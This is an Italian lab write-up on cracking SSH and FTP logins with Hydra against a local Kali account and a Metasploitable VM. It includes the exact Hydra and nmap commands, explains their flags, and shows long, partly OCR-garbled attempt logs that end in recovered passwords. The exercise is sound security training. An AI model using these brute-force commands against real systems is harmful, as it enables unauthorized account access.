## AUTHENTICATION CRACKING CON HYDRA

L'esercitazione di oggi ha un duplice scopo:

- Fare pratica con hydra per craccare l'autenticazione di rete
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione

## FASE 1

Nella prima fase abbiamo configurato il nostro ambiente di lavoro.

KALI : Inizio dei servizi ssh "sudo service ssh start", dopo abbiamo testato la connesisone dell'utente "user\_test" in SSH

```
(kali® kali)-[/usr/share/seclists/Passwords]
$ ssh test_user@192.168.50.100's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (202 2-07-07) x86_64

The programs included with the Kali GMU/Cinux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Thu Dec 1 09:07:21 2022 from 192.168.50.100
```

Una volta fatto partire il servizio e la connessione con l'utente abbiamo lanciato il tool **HYDRA** tramite il comando "hydra –l test user –P /usr/share/seclists/Password/new password2.txt"

Dove –l è il parametro per un user che gia abbiamo

- -P è il parametro per indicargli una directory contenente una lista di password
- -V è il parametro per stampare a video ogni tentativo
- -t4 è il paramentro consigliato

Stessa cosa per il servizio FTP. Facciamo partire il servizio con "sudo service vsftpd start"

```
(kali⊛kali)-[/]

$ sudo service vsftpd start
```

Controlliamo la connesisone dell'user con FTP

```
(kali® kali)-[/]
$ ftp test_user@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp>
```

Eseguito questo iniziamo con Hydra.

```
(kali@ kali)-[~]
$ hydra -l test_user -P /usr/share/seclists/Passwords/new_password2.txt 192.168.50.100 -V -t4 ftp
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
```

```
kali@kali: ~
 File Actions Edit View Help
                      target 192.168.50.100 - login "test_user" - pass "killer" - 36 of 103 [child 2] (0/0) target 192.168.50.100 - login "test_user" - pass "trustno1" - 37 of 103 [child 1] (0/0) target 192.168.50.100 - login "test_user" - pass "jordan" - 38 of 103 [child 3] (0/0) target 192.168.50.100 - login "test_user" - pass "jennifer" - 39 of 103 [child 0] (0/0) target 192.168.50.100 - login "test_user" - pass "zxcvbnm" - 40 of 103 [child 2] (0/0) target 192.168.50.100 - login "test_user" - pass "asdfgh" - 41 of 103 [child 3] (0/0) target 192.168.50.100 - login "test_user" - pass "hunter" - 42 of 103 [child 0] (0/0)
 [ATTEMPT]
 [ATTEMPT]
 [ATTEMPT]
 [ATTEMPT]
 [ATTEMPT]
 [ATTEMPT]
                                                                                                                           pass "hunter" - 42 of 103 [child 0] (0/0) pass "buster" - 43 of 103 [child 2] (0/0) pass "soccer" - 44 of 103 [child 1] (0/0) pass "harley" - 45 of 103 [child 3] (0/0) pass "batman" - 46 of 103 [child 0] (0/0) pass "andrew" - 47 of 103 [child 0] (0/0) pass "tigger" - 48 of 103 [child 1] (0/0) pass "sunshine" - 49 of 103 [child 0] (0/0) pass "loveyou" - 50 of 103 [child 0] (0/0) pass "loveyou" - 50 of 103 [child 3] (0/0) pass "fuckme" - 51 of 103 [child 3] (0/0) pass "charlie" - 53 of 103 [child 1] (0/0) pass "charlie" - 54 of 103 [child 0] (0/0) pass "thomas" - 55 of 103 [child 0] (0/0) pass "hockey" - 56 of 103 [child 2] (0/0) pass "testpass" - 57 of 103 [child 0] (0/0) pass "testpass" - 58 of 103 [child 0] (0/0) pass "ranger" - 58 of 103 [child 3] (0/0)
 [ATTEMPT]
                                                                               login "test_user"
login "test_user"
 [ATTEMPT]
                      target
                                       192.168.50.100
 [ATTEMPT]
                      target 192.168.50.100
                                                                                             "test_user"
 [ATTEMPT]
                      target 192.168.50.100
                                                                               login
                                                                               login "test_user"
                      target 192.168.50.100
[ATTEMPT]
[ATTEMPT]
                                                                                            "test_user"
                      target 192.168.50.100
                                                                               login
                                                                               login "test_user"
login "test_user"
                      target 192.168.50.100
 [ATTEMPT]
 [ATTEMPT]
                      target 192.168.50.100
                                                                               login "test_user"
                                      192.168.50.100
 [ATTEMPT]
                      target
                      target 192.168.50.100
                                                                               login "test_user"
 [ATTEMPT]
                      target 192.168.50.100
                                                                                            "test user"
 [ATTEMPT]
                                                                               login
                                                                               login "test_user"
login "test_user"
 [ATTEMPT]
                      target 192.168.50.100
 [ATTEMPT]
                      target 192.168.50.100
                                                                              login "test_user" -
 [ATTEMPT]
                      target 192.168.50.100
[ATTEMPT] target 192.168.50.100 -
[ATTEMPT] target 192.168.50.100 -
                                                                                            "test_user"
                                                                               login
                                                                                                                            pass "ranger"
                                                                                                                                                            - 58 of 103 [child 3] (0/0)
                                                                               login "test_user"
 [ATTEMPT]
                      target 192.168.50.100
[21][ftp] host: 192.168.50.100
                                                                            login: test_user password: testpass
of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:06:34
```

## FASE 2

Nella seconda fase abbiamo eseguito le stesse azioni, unica differenza il target. Metaspoitable

Dopo l'avvio della macchina lanciamo una scansione con **nmap** verso metaspoitable per vedere i servizi attivi e le porte

```
<u>L</u>
                                  kali@kali:/
                                                                              (X
 File Actions Edit View Help
Ś
  —(kali⊛kali)-[/]
└$ nmap -sV 192.168.50.103
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-01 10:11 EST
Nmap scan report for 192.168.50.103
Host is up (0.00041s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT
         STATE SERVICE
                           VERSION
21/tcp
         open ftp
                            vsftpd 2.3.4
                            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp
         open
              ssh
23/tcp
        open
              telnet?
25/tcp open smtp?
53/tcp open domain
                            ISC BIND 9.4.2
80/tcp
                            Apache httpd 2.2.8 ((Ubuntu) DAV/2)
        open http
111/tcp open
              rpcbind
                           2 (RPC #100000)
139/tcp open
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open
              exec?
513/tcp open
              login?
514/tcp open shell?
1099/tcp open java-rmi
                            GNU Classpath grmiregistry
1524/tcp open bindshell
                            Metasploitable root shell
2049/tcp open nfs
                            2-4 (RPC #100003)
2121/tcp open ccproxy-ftp?
3306/tcp open mysql?
5432/tcp open
                            PostgreSQL DB 8.3.0 - 8.3.7
              postgresql
                            VNC (protocol 3.3)
5900/tcp open
              vnc
6000/tcp open X11
                            (access denied)
6667/tcp open irc
                            UnrealIRCd
8180/tcp open unknown
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linu
x:linux_kernel
Service detection performed. Please report any incorrect results at https://nm
ap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 209.99 seconds
```

Dopo il controllo possiamo lanciare Hydra cambianto l'user in msfadmin

```
kali@kali: -
     File Actions Edit View Help
                                                                                                                                                                                                                                "696969" - 17 of 104 [child 1] (0/0)
"shadow" - 18 of 104 [child 2] (0/0)
"master" - 19 of 104 [child 0] (0/0)
"666666" - 20 of 104 [child 3] (0/0)
"qwertyuiop" - 21 of 104 [child 1] (0/0)
"123321" - 22 of 104 [child 2] (0/0)
"mustang" - 23 of 104 [child 0] (0/0)
"1234567890" - 24 of 104 [child 3] (0/0)
"michael" - 25 of 104 [child 1] (0/0)
"654321" - 26 of 104 [child 2] (0/0)
"pussy" - 27 of 104 [child 0] (0/0)
"superman" - 28 of 104 [child 3] (0/0)
00:03h, 4 active
                                                                                                                                    login "msfadmin" - pass
login "msfadmin" - pass
    [ATTEMPT] target 192.168.50.103 -
    [ATTEMPT]
                                        target 192.168.50.103
                                         target 192.168.50.103
                                                                                                                                                            "msfadmin" -
    [ATTEMPT]
                                                                                                                                       login
                                                                                                                                                                                                               pass
                                                                                                                                      login "msfadmin" -
                                        target 192.168.50.103
target 192.168.50.103
    [ATTEMPT]
                                                                                                                                                                                                               pass
                                                                                                                                                             "msfadmin"
    [ATTEMPT]
                                                                                                                                     login
                                                                                                                                     login "msfadmin" -
                                        target 192.168.50.103
   [ATTEMPT]
[ATTEMPT]
                                                                                                                                                                                                               pass
                                                                                                                                                             "msfadmin" -
                                       target 192.168.50.103
                                                                                                                                      login
                                                                                                                                                                                                               pass
                                                                                                                                     login "msfadmin" -
login "msfadmin" -
   [ATTEMPT]
                                        target 192.168.50.103
                                                                                                                                                                                                             pass
    [ATTEMPT]
                                       target 192.168.50.103
                                                                                                                                     login "msfadmin" -
    [ATTEMPT]
                                       target 192.168.50.103
                                                                                                                                                                                                               pass
                                                                                                                                     login "msfadmin" -
    [ATTEMPT] target 192.168.50.103 -
[STATUS] 28.00 tries/min, 28 tries in 00:01h, 76 to do in 00:03h, 4 active
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "1qazzwsx" - 29 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "7777777" - 30 of 104 [child 0] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "7777777" - 30 of 104 [child 1] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "fuckyou" - 31 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "121212" - 32 of 104 [child 2] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "000000" - 33 of 104 [child 0] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "qazwsx" - 34 of 104 [child 1] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "123qwe" - 35 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "killer" - 36 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "trustno1" - 37 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "jorndan" - 38 of 104 [child 1] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "jorndan" - 39 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "jorndan" - 39 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "jorndan" - 39 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "jorndan" - 39 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "jorndan" - 40 of 104 [child 3] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "msfadmin" - 40 of 104 [child 2] (0/0)
[ATTEMPT] target 192.168.50.103 - login "msfadmin" - pass "msfadmin" - 40 of 104 [child 2] (0/0)
                                                                                                                             - login "msfadmin" - pass
  1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:52:29
```

La schasione SSH è andata a buon fine.

Eseguiamo la scansione FTP

```
(kali@ kali)-[~]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/new_password3.txt 192.168.50.103 -V -t4 ftp
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
```

```
kali@kali: ~
 File Actions Edit View Help
                                                                                                                                   "monkey" - 15 of 104 [child 0] (0/0)
"letmein" - 16 of 104 [child 1] (0/0)
"696969" - 17 of 104 [child 3] (0/0)
"shadow" - 18 of 104 [child 2] (0/0)
"master" - 19 of 104 [child 0] (0/0)
"666666" - 20 of 104 [child 1] (0/0)
"qwertyuiop" - 21 of 104 [child 3] (0/0)
"123321" - 22 of 104 [child 2] (0/0)
"mustang" - 23 of 104 [child 0] (0/0)
"1234567890" - 24 of 104 [child 1] (0/0)
[ATTEMPT] target 192.168.50.103 -
                                                                             login "msfadmin" - pass
login "msfadmin" - pass
                     target 192.168.50.103 -
target 192.168.50.103 -
[ATTEMPT]
[ATTEMPT]
                      target 192.168.50.103
                                                                             login "msfadmin" -
                                                                                                                         pass
[ATTEMPT]
                      target 192.168.50.103
                                                                                           "msfadmin"
                                                                             login
                                                                                                                         pass
                                                                             login "msfadmin"
login "msfadmin"
 [ATTEMPT]
                      target 192.168.50.103
                                                                                                                         pass
                      target 192.168.50.103
[ATTEMPT]
                                                                             login "msfadmin"
                      target 192.168.50.103
[ATTEMPT]
                                                                                                                         pass
                                                                             login "msfadmin" -
 ATTEMPT 1
                      target 192.168.50.103
                                                                                                                         pass
[ATTEMPT]
                      target 192.168.50.103
                                                                                           "msfadmin"
                                                                             login
                                                                                                                         pass
                                                                            login "msfadmin" - pass "1234567890" - 24 of 104 [child 1] (0/0) login "msfadmin" - pass "michael" - 25 of 104 [child 3] (0/0) login "msfadmin" - pass "michael" - 25 of 104 [child 2] (0/0) login "msfadmin" - pass "pussy" - 27 of 104 [child 0] (0/0) login "msfadmin" - pass "superman" - 28 of 104 [child 0] (0/0) login "msfadmin" - pass "superman" - 28 of 104 [child 1] (0/0) login "msfadmin" - pass "1qaz2wsx" - 29 of 104 [child 0] (0/0) login "msfadmin" - pass "7777777" - 30 of 104 [child 0] (0/0) login "msfadmin" - pass "fuckyou" - 31 of 104 [child 0] (0/0) login "msfadmin" - pass "121212" - 32 of 104 [child 1] (0/0) login "msfadmin" - pass "qazwsx" - 34 of 104 [child 0] (0/0) login "msfadmin" - pass "qazwsx" - 34 of 104 [child 0] (0/0) login "msfadmin" - pass "trustno1" - 37 of 104 [child 1] (0/0) login "msfadmin" - pass "trustno1" - 37 of 104 [child 2] (0/0) login "msfadmin" - pass "jordan" - 38 of 104 [child 2] (0/0) login "msfadmin" - pass "jordan" - 38 of 104 [child 2] (0/0) login "msfadmin" - pass "jordan" - 39 of 104 [child 2] (0/0) login "msfadmin" - pass "jordan" - 39 of 104 [child 2] (0/0) login "msfadmin" - pass "jordan" - 39 of 104 [child 1] (0/0) login "msfadmin" - pass "smsfadmin" - 40 of 104 [child 1] (0/0) login: msfadmin" - pass "msfadmin" - 40 of 104 [child 1] (0/0)
                                                                             login "msfadmin" -
login "msfadmin" -
[ATTEMPT]
                      target 192.168.50.103
                                                                                                                         pass
                                                                                                                                     "1234567890" - 24 of 104 [child 1] (0/0)
 [ATTEMPT]
                      target 192.168.50.103
[ATTEMPT]
                      target 192.168.50.103
                      target 192.168.50.103
[ATTEMPT]
[ATTEMPT]
                      target 192.168.50.103
 [ATTEMPT]
                      target 192.168.50.103
                      target 192.168.50.103
 [ATTEMPT]
                      target 192.168.50.103
target 192.168.50.103
 [ATTEMPT]
 [ATTEMPT]
                      target 192.168.50.103
[ATTEMPT]
[ATTEMPT]
                      target 192.168.50.103
                      target 192.168.50.103
 [ATTEMPT]
                      target 192.168.50.103
 [ATTEMPT]
 [ATTEMPT]
                      target 192.168.50.103
                     target 192.168.50.103
[ATTEMPT]
                     target 192.168.50.103
[ATTEMPT]
[ATTEMPT] target 192.168.50.103
[21][ftp] host: 192.168.50.103
                                                                           login: msfadmin password: msfadmin
          1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:53:23
```